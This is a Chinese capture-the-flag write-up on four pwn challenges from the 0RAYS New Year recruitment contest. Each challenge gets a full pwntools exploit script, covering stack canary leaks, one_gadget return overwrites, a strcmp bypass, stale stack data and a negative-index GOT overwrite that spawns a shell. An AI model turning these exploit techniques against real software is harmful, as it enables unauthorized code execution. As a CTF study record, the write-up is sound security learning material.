0RAYS元旦招新赛
一共有4道pwn题,题目不算难,但是挺考验调试能力的。
pie
一个main函数就四次溢出...
第一次leak canary,第二次leak libc,第三次直接覆盖返回地址为one_gadgets,第四次摸鱼。感觉应该不是预期解,毕竟题目叫pie,程序本身有system("/bin/sh")也没有用到。
1 from pwn import *
2
3 p = process(['./pie'],env={"LD_PRELOAD":"./libc.so.6"})
4 #p = process('./pie')
5 elf = ELF('./pie')
6 libc = ELF('./libc.so.6')
7 context.log_level = 'debug'
8
9 og = [0x4f3d5,0x4f432,0x10a41c]
10
11 p.sendafter('name?\n','a'*0x18+'b')
12 p.recvuntil('b')
13 canary = u64(p.recv(7).rjust(8,'\x00'))
14 print 'canary-->'+hex(canary)
15
16 p.sendafter('from?\n','a'*0x20+'bbbbbbbb')
17 p.recvuntil('bbbbbbbb')
18 libc_base = u64(p.recv(6).ljust(8,'\x00'))-231-libc.symbols['__libc_start_main']
19 print 'libc_base'+hex(libc_base)
20 shell = libc_base+og[0]
21
22 p.sendafter('know?\n',p64(libc_base)+'a'*0x10+p64(canary)+'bbbbbbbb'+p64(shell))
23 p.sendafter('no)\n','no\x00')
24 p.recv()
25 p.interactive()
QAQ
此题不适合看伪代码,得直接看汇编。
只有一个输入。还是需要读一下汇编。
执行完call,返回值一般是保存在eax中,这里执行了test eax,eax,其实就是在改变标志寄存器,我们这里需要让strcmp的返回值是0,这样就能跳转到loc_8048547这里。
看栈空间就可以知道,buf和s2,就是相比较的这两个字符串相差10个字节。
我们写payload='a'*9+'\x00'+'a'*9+'\x00',并且在跳转那里下断点。
第一次跳转之后,还有一层需要绕过。
判断ebp+var_44的值和1Bh是否相等,如果相等才能执行system("/bin/sh")。看栈空间分布,发现这个我们没办法赋值。
在buf上面,没办法写入。这个时候我又看上面的汇编。
发现有一处就是给这个位置赋值的,是将ebp+0xarg_0赋值给这个位置。而ebp+0xarg_0是在返回地址下面。距离也很好算,用静态分析,动态分析都能看出怎么多远。这题就算是做完了。
1 from pwn import *
2
3 p = process('./pwn')
4 context.log_level = 'debug'
5
6 #gdb.attach(p,'b *0x08048534')
7
8 sleep(0.1)
9 p.send('aaaaaaaaa\x00'+'aaaaaaaaa\x00aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaa\x1b')
10 p.interactive()
easyStack
64位程序,没开pie。
主要就是要让shell大于3920,进入backdoor,里面有shell。
在question中,有一个scanf函数是往v1里面写值。而v1是栈上的,而且不受我们控制。我当时想了半天也不知道怎么做。在name函数中也没有发现漏洞点。
后来想到以前做过一道栈数据残留的题,然后就cyclic 100,写入数据,在question中scanf那里下断点。看看这个时候的v1是多少。
果然name函数的值没有被清空,残留到了这个栈里面。此时v1是让paaa填充的。所以我们将cyclic生成的paaa处写入p32(shell),然后写入一个大于3920的数字,顺利执行就能拿到shell了。
1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 context.log_level = 'debug'
6
7 def duan():
8 gdb.attach(p)
9 pause()
10 shell = 0x060108C
11 payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa'+p32(shell)
12
13 p.sendafter('name?\n',payload)
14 p.sendafter('else?\n','pwner')
15 p.sendlineafter('1/0]\n','4000')
16 p.recv()
17 p.interactive()
PTT0的记账本
题目其实已经给提示了。。。
看着像一道heap,其实并不是。。。感觉我应该是写的比较麻烦了。漏洞点就是在写index的时候,写成负数,虽然是在bss段,但是上面就是got段,将指针申请上去,可以泄露libc基地址,然后改写got表。直接放exp了。
1 from pwn import *
2
3 p = process(['./book'],env={"LD_PRELOAD":"./libc.so.6"})
4 #p = process('./book')
5 elf = ELF('./book')
6 libc = ELF('./libc.so.6')
7 context.log_level = 'debug'
8
9 og = [0x4f3d5,0x4f432,0x10a41c]
10
11 def duan():
12 gdb.attach(p)
13 pause()
14
15 def add(index,time,deaeline,money,interest,name):
16 p.sendlineafter('>> ','1')
17 p.sendlineafter('index:',str(index))
18 p.sendlineafter('time: ',str(time))
19 p.sendlineafter('deadline: ',str(deaeline))
20 p.sendlineafter('money: ',str(money))
21 p.sendlineafter('interest: ',str(interest))
22 p.sendafter('name: ',name)
23
24 def delete(index):
25 p.sendlineafter('>> ','2')
26 p.sendlineafter('index:',str(index))
27
28 def show(index):
29 p.sendlineafter('>> ','3')
30 p.sendlineafter('index:',str(index))
31
32
33 show(-6)
34 p.recvuntil('time: ')
35 time = int(p.recvuntil('\n')[:-1])
36 print 'time-->'+hex(time)
37
38 p.recvuntil('deadline: ')
39 deadline = int(p.recvuntil('\n')[:-1])
40 print 'deadline-->'+hex(deadline)
41
42 #leak libc
43 p.recvuntil('money: ')
44 money = p.recvuntil('\n')[:-1]
45 p.recvuntil('interest: ')
46 interest = p.recvuntil('\n')[:-1]
47 printf_got = str(hex(int(interest)))+str(hex(int(money)))
48 printf_got = int(printf_got[:6]+printf_got[8:],16)
49 print 'print_got-->'+hex(printf_got)
50 libc_base = printf_got-libc.symbols['printf']
51 print 'libc_base-->'+hex(libc_base)
52
53 for i in range(len(og)):
54 print str(i)+'-->'+hex(libc_base+og[i])
55 shell = str(hex(libc_base+og[2]))
56 payload = int('0x'+shell[-8:],16)
57 print payload
58
59 p.sendlineafter('>> ','1')
60 p.sendlineafter('index:',str(-6))
61 p.sendlineafter('time: ',str(0xaa))
62 p.sendlineafter('deadline: ',str(0xbb))
63 p.sendlineafter('money: ',str(payload))
64 p.interactive()
因为做的人不多,题目难度不大,赶着做还是拿了两道题的一血,两道题的二血,也有一些收获,总之还是很开兴的。
0RAYS元旦招新赛的更多相关文章
- 2019级第一次月赛暨ACM工作室第一次招新赛、补题赛
A:最简单签到,没有之一 Description 此题简单如题意,就是求最大值 Input 多组输入 每组输入输入一串字符串(包括字母和数字),长度小于500 Output 每行输出字符ASCII值与 ...
- ACM团队招新赛题解
标程代码全部为C语言编写.代码中的#if LOCAL_ 至#endif为本地一些调试内容,可以忽略. Xenny的A+B(1)[容易][签到] 签到题,做不出的话可能你有点不太适合ACM了. Xenn ...
- 招新系统(jsp+servlet,实现简略前端网页注册登录+后台增删改查,分学生和管理员,Java语言,mysql数据库连接,tomcat服务器)
生活不只是眼前的苟且,还有诗和远方. 架构说明: 要求是采用MVC模式,所以分了下面的几个包,但是由于是第一次写,可能分的也不是很清楚: 这个是后台部分的架构: 这个是前端的的展示: (那个StuLo ...
- ACM_招新笔试题系列——买包子
招新笔试题系列——买包子 Time Limit: 2000/1000ms (Java/Others) Problem Description: 小华刚到大学,一天早上她替她室友买早餐,一共要N个包子. ...
- XDTIC2019招新笔试题 + 官方解答
腾讯创新俱乐部2019年招新笔试试题 [1] 小宗学长正在努力学习数论,他写下了一个奇怪的算式: \[ 2019^{2018^{2017^{\dots^{2^1}}}} \] 算式的结果一定很大, ...
- 招新裁老,两面派互联网大厂,培训三个月,就拿15K,凭什么?
看到一位朋友在发帖子求问:亲身经历,(如有谎言我名字倒过来写)一个大学同学18年毕业的.在兰州一个二本学的兽医农牧,毕业难找工作,去深圳一个机构培训了三个月吧,然后就去做大数据 算法了,然后又去做ja ...
- CTFshow-萌新赛逆向_签退
查看题目信息 下载re3.pyc文件 使用uncompyle把re3.pyc反编译为re3.py uncompyle6 re3.pyc > re3.py 查看re3.py文件 # uncompy ...
- CTFshow-萌新赛逆向_flag白给
查看题目信息 下载后得到一个flag.exe文件,进行测试 使用PEiD查壳 发现一个upx的壳 使用命令进行解壳 upx -d 拿到一个无壳的程序 放进OD打开,查找关键词 发现信息 成功拿到序列号 ...
- CTFshow萌新赛-萌新福利
下载链接文件 拿到show.bin文件 使用010Editor工具打开文件 做取反操作 取反后可以看到 把show.bin改为show.m4a 使用音频播放软件播放,即可得到flag
随机推荐
- [atAGC050B]Three Coins
记$p_{i}$表示该位置是否有硬币 称使得$p_{i,i+1,i+2}$都变为1的操为对$i$的添加操作,使得$p_{i,i+1,i+2}$都变为0的操作为对$i$的删除操作 考虑一个简单的操作:若 ...
- 掌握Java的内存模型,你就是解决并发问题最靓的仔
摘要:如果编写的并发程序出现问题时,很难通过调试来解决相应的问题,此时,需要一行行的检查代码,这个时候,如果充分理解并掌握了Java的内存模型,你就能够很快分析并定位出问题所在. 本文分享自华为云社区 ...
- tomcat去除项目访问路径限制
首先打开tomcat的\apache-tomcat-7.0.73\confserver.xml文件 在 </ <Host name="localhost" appBas ...
- [Bzoj 1432] [ZJOI2009]Function(结论推导题)
我们先看一下题目: (有没有和我一样的朋友看到这道题以为是几何不可做题 这个题目真的很难理解,并且样例也给得太水了吧! 理解题目是必不可少的(这并不是你看了半小时题目的理由)--首先我们先简化题目 1 ...
- 【SCOI2005】繁忙的都市
Description 城市C是一个非常繁忙的大都市,城市中的道路十分的拥挤,于是市长决定对其中的道路进行改造.城市C的道路是这样分布的:城市中有n个交叉路口,有些交叉路口之间有道路相连,两个交叉路口 ...
- 洛谷 P6031 - CF1278F Cards 加强版(推式子+递推)
洛谷题面传送门 u1s1 这个推式子其实挺套路的吧,可惜有一步没推出来看了题解 \[\begin{aligned} res&=\sum\limits_{i=0}^ni^k\dbinom{n}{ ...
- spring-boot -配置文件值注入
/** * 将配置文件中配置的每一个属性的值,映射到这个组件中 * @ConfigurationProperties:告诉SpringBoot将本类中的所有属性和配置文件中相关的配置进行绑定: 默认在 ...
- Anaconda建立新的环境,出现CondaHTTPError: HTTP 000 CONNECTION FAILED for url ...... 解决过程
2020.3.7准备scrapy,使用anaconda创建一个新的环境,执行"conda create -n scrapyEnv python=3.6",结果出现了"Co ...
- 巩固javaweb的第二十天
巩固内容: 同一个页面中的多个 form 在同一个页面中可以有多个 form 如果存在多个 form,那么提交信息的时候提交哪些信息,提交给哪个文件处理,这都 与提交按钮的位置有关.如果提交按钮在第一 ...
- 断言(assert)简介
java中的断言assert的使用 一.assertion的意义和用法 J2SE 1.4在语言上提供了一个新特性,就是assertion功能,他是该版本再Java语言方面最大的革新. 从理论上来说,通 ...